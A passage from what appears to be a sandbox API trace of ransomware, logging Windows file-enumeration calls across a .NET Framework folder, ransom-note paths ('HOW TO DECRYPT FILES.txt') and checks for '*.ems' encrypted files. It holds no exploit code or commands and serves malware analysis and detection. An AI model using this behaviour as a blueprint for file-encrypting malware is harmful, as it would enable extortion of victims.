"c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.705] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorlib.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll" [0135.705] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", pszSpec="*.ems") returned 0 [0135.705] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda69116, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfda69116, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa5514fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib.tlb", cAlternateFileName="")) returned 1 [0135.705] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.705] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorlib.tlb") returned -1 [0135.705] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorlib.tlb") returned -1 [0135.705] lstrcmpiA (lpString1="", lpString2="mscorlib.tlb") returned -1 [0135.705] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll") returned="mscorlib.dll" [0135.705] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.705] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.705] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.706] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.706] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorlib.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.tlb" [0135.706] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.tlb", pszSpec="*.ems") returned 0 [0135.706] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8547fa1f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8547fa1f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x854cbcdf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b150, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorpe.dll", cAlternateFileName="")) returned 1 [0135.706] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.706] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorpe.dll") returned -1 [0135.706] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorpe.dll") returned -1 [0135.706] lstrcmpiA (lpString1="", lpString2="mscorpe.dll") returned -1 [0135.706] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.tlb") returned="mscorlib.tlb" [0135.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.706] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.706] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.707] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.707] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorpe.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorpe.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorpe.dll" [0135.707] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorpe.dll", pszSpec="*.ems") returned 0 [0135.707] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd88de1, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfdd88de1, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa652643c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x53950, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorrc.dll", cAlternateFileName="")) returned 1 [0135.707] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.707] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorrc.dll") returned -1 [0135.707] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorrc.dll") returned -1 [0135.707] lstrcmpiA (lpString1="", lpString2="mscorrc.dll") returned -1 [0135.707] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorpe.dll") returned="mscorpe.dll" [0135.707] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.707] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.707] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.708] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.708] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorrc.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll" [0135.708] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll", pszSpec="*.ems") returned 0 [0135.708] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfde6d61b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfde6d61b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa68b853c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x12150, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsec.dll", cAlternateFileName="")) returned 1 [0135.708] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.708] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsec.dll") returned -1 [0135.708] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsec.dll") returned -1 [0135.708] lstrcmpiA (lpString1="", lpString2="mscorsec.dll") returned -1 [0135.708] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll") returned="mscorrc.dll" [0135.708] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.708] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.708] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.709] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.709] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorsec.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsec.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsec.dll" [0135.709] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsec.dll", pszSpec="*.ems") returned 0 [0135.709] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdfc4272, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfdfc4272, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa6bb20bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsn.dll", cAlternateFileName="")) returned 1 [0135.709] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.709] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsn.dll") returned -1 [0135.709] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsn.dll") returned -1 [0135.709] lstrcmpiA (lpString1="", lpString2="mscorsn.dll") returned -1 [0135.709] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsec.dll") returned="mscorsec.dll" [0135.709] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.709] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.709] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.709] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.710] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorsn.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsn.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsn.dll" [0135.710] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsn.dll", pszSpec="*.ems") returned 0 [0135.710] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x984e398f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x984e398f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9852fc50, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38150, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsvc.dll", cAlternateFileName="")) returned 1 [0135.710] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.710] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsvc.dll") returned -1 [0135.710] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsvc.dll") returned -1 [0135.710] lstrcmpiA (lpString1="", lpString2="mscorsvc.dll") returned -1 [0135.710] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsn.dll") returned="mscorsn.dll" [0135.710] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.710] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.710] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.710] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.710] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorsvc.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvc.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvc.dll" [0135.710] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvc.dll", pszSpec="*.ems") returned 0 [0135.711] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa6eabc3c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x10350, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsvw.exe", cAlternateFileName="")) returned 1 [0135.711] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.711] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsvw.exe") returned -1 [0135.711] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsvw.exe") returned -1 [0135.711] lstrcmpiA (lpString1="", lpString2="mscorsvw.exe") returned -1 [0135.711] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvc.dll") returned="mscorsvc.dll" [0135.711] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.711] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.711] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.711] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.711] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorsvw.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0135.711] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pszSpec="*.ems") returned 0 [0135.712] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe51f3ce, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe51f3ce, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa7074cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscortim.dll", cAlternateFileName="")) returned 1 [0135.712] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.712] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscortim.dll") returned -1 [0135.712] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscortim.dll") returned -1 [0135.712] lstrcmpiA (lpString1="", lpString2="mscortim.dll") returned -1 [0135.712] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned="mscorsvw.exe" [0135.712] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.712] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.712] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.712] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.712] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscortim.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscortim.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscortim.dll" [0135.712] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscortim.dll", pszSpec="*.ems") returned 0 [0135.713] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b243d43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b243d43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b2dc2c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a6150, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorwks.dll", cAlternateFileName="")) returned 1 [0135.713] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.713] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorwks.dll") returned -1 [0135.713] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorwks.dll") returned -1 [0135.713] lstrcmpiA (lpString1="", lpString2="mscorwks.dll") returned -1 [0135.713] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscortim.dll") returned="mscortim.dll" [0135.713] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.713] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.713] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.713] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.713] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="mscorwks.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" [0135.713] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll", pszSpec="*.ems") returned 0 [0135.714] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7d7bb8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7d7bb8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUI", cAlternateFileName="")) returned 1 [0135.714] lstrcmpA (lpString1=".", lpString2="MUI") returned -1 [0135.714] lstrcmpA (lpString1="..", lpString2="MUI") returned -1 [0135.714] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll") returned="mscorwks.dll" [0135.714] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="MUI" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI" [0135.714] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MUI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7d7bb8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7d7bb8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0135.715] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0135.715] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7d7bb8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7d7bb8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 